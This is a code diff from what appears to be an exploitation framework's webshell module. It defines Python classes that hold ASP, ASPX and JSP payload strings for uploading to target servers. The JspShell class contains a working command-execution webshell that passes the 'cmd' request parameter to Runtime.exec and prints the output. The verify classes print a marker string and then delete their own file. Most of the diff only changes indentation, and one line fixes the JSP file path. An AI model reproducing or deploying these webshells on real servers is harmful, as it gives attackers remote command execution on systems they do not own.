@@ -62,11 +62,11 @@ class AspShell(Webshell):
62
62
63
63
class AspVerify (VerifyShell ):
64
64
_content = '<%\n ' \
65
- 'Response.Write(Replace("202cTEST4b70","TEST",' \
66
- '"b962ac59075b964b07152d23"))\n ' \
67
- 'CreateObject("Scripting.FileSystemObject").' \
68
- 'DeleteFile(Request.ServerVariables("Path_Translated"))\n ' \
69
- '%>'
65
+ 'Response.Write(Replace("202cTEST4b70","TEST",' \
66
+ '"b962ac59075b964b07152d23"))\n ' \
67
+ 'CreateObject("Scripting.FileSystemObject").' \
68
+ 'DeleteFile(Request.ServerVariables("Path_Translated"))\n ' \
69
+ '%>'
70
70
_keyword = '202cb962ac59075b964b07152d234b70'
71
71
72
72
@@ -81,52 +81,52 @@ class AspxShell(Webshell):
81
81
82
82
class AspxVerify (VerifyShell ):
83
83
_content = '<%@ Page Language="Jscript" ContentType="text/html" ' \
84
- 'validateRequest="false" aspcompat="true"%>\n ' \
85
- '<%Response.Write("202cTEST4b70".Replace("TEST",' \
86
- '"b962ac59075b964b07152d23"))%>\n ' \
87
- '<%System.IO.File.Delete(Request.PhysicalPath);%>'
84
+ 'validateRequest="false" aspcompat="true"%>\n ' \
85
+ '<%Response.Write("202cTEST4b70".Replace("TEST",' \
86
+ '"b962ac59075b964b07152d23"))%>\n ' \
87
+ '<%System.IO.File.Delete(Request.PhysicalPath);%>'
88
88
_keyword = '202cb962ac59075b964b07152d234b70'
89
89
90
90
91
91
class JspShell (Webshell ):
92
92
_content = '<%@ page import="java.util.*,java.io.*" %>\n ' \
93
- '<%@ page import="java.io.*"%>\n ' \
94
- '<%@ page import="java.util.*"%>\n ' \
95
- '<%\n ' \
96
- 'if (request.getParameter("check") == "1")\n ' \
97
- ' out.println("202cTEST4b70".replace("TEST","b962ac59075b964b07152d23"));\n ' \
98
- 'if (request.getParameter("{0}") != null)\n ' \
99
- '{{\n ' \
100
- ' Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));\n ' \
101
- ' OutputStream os = p.getOutputStream();\n ' \
102
- ' InputStream in = p.getInputStream();\n ' \
103
- ' DataInputStream dis = new DataInputStream(in);\n ' \
104
- ' String disr = dis.readLine();\n ' \
105
- ' while ( disr != null)\n ' \
106
- ' {{\n ' \
107
- ' out.println(disr);\n ' \
108
- ' disr = dis.readLine();\n ' \
109
- ' }}\n ' \
110
- '\n }}' \
111
- '%>\n '
93
+ '<%@ page import="java.io.*"%>\n ' \
94
+ '<%@ page import="java.util.*"%>\n ' \
95
+ '<%\n ' \
96
+ 'if (request.getParameter("check") == "1")\n ' \
97
+ ' out.println("202cTEST4b70".replace("TEST","b962ac59075b964b07152d23"));\n ' \
98
+ 'if (request.getParameter("{0}") != null)\n ' \
99
+ '{{\n ' \
100
+ ' Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));\n ' \
101
+ ' OutputStream os = p.getOutputStream();\n ' \
102
+ ' InputStream in = p.getInputStream();\n ' \
103
+ ' DataInputStream dis = new DataInputStream(in);\n ' \
104
+ ' String disr = dis.readLine();\n ' \
105
+ ' while ( disr != null)\n ' \
106
+ ' {{\n ' \
107
+ ' out.println(disr);\n ' \
108
+ ' disr = dis.readLine();\n ' \
109
+ ' }}\n ' \
110
+ '\n }}' \
111
+ '%>\n '
112
112
_password = 'cmd'
113
113
_check_data = {'check' : '1' }
114
114
_keyword = '202cb962ac59075b964b07152d234b70'
115
115
116
116
117
117
class JspVerify (VerifyShell ):
118
118
_content = '<%@ page import="java.util.*,java.io.*" %>\n ' \
119
- '<%@ page import="java.io.*"%>\n ' \
120
- '<%@ page import="java.util.*"%>\n ' \
121
- '<%\n ' \
122
- 'String path=request.getRealPath("");\n ' \
123
- 'out.println(path);\n ' \
124
- 'File d=new File(path);\n ' \
125
- 'if(d.exists()){{\n ' \
126
- ' d.delete();\n ' \
127
- ' }}\n ' \
128
- '%>\n ' \
129
- '<% out.println("202cTEST4b70".replace("TEST","b962ac59075b964b07152d23"));%>'
119
+ '<%@ page import="java.io.*"%>\n ' \
120
+ '<%@ page import="java.util.*"%>\n ' \
121
+ '<%\n ' \
122
+ 'String path=request.getRealPath("")+request.getServletPath( );\n ' \
123
+ 'out.println(path);\n ' \
124
+ 'File d=new File(path);\n ' \
125
+ 'if(d.exists()){{\n ' \
126
+ ' d.delete();\n ' \
127
+ ' }}\n ' \
128
+ '%>\n ' \
129
+ '<% out.println("202cTEST4b70".replace("TEST","b962ac59075b964b07152d23"));%>'
130
130
_keyword = '202cb962ac59075b964b07152d234b70'
131
131
132
132
0 commit comments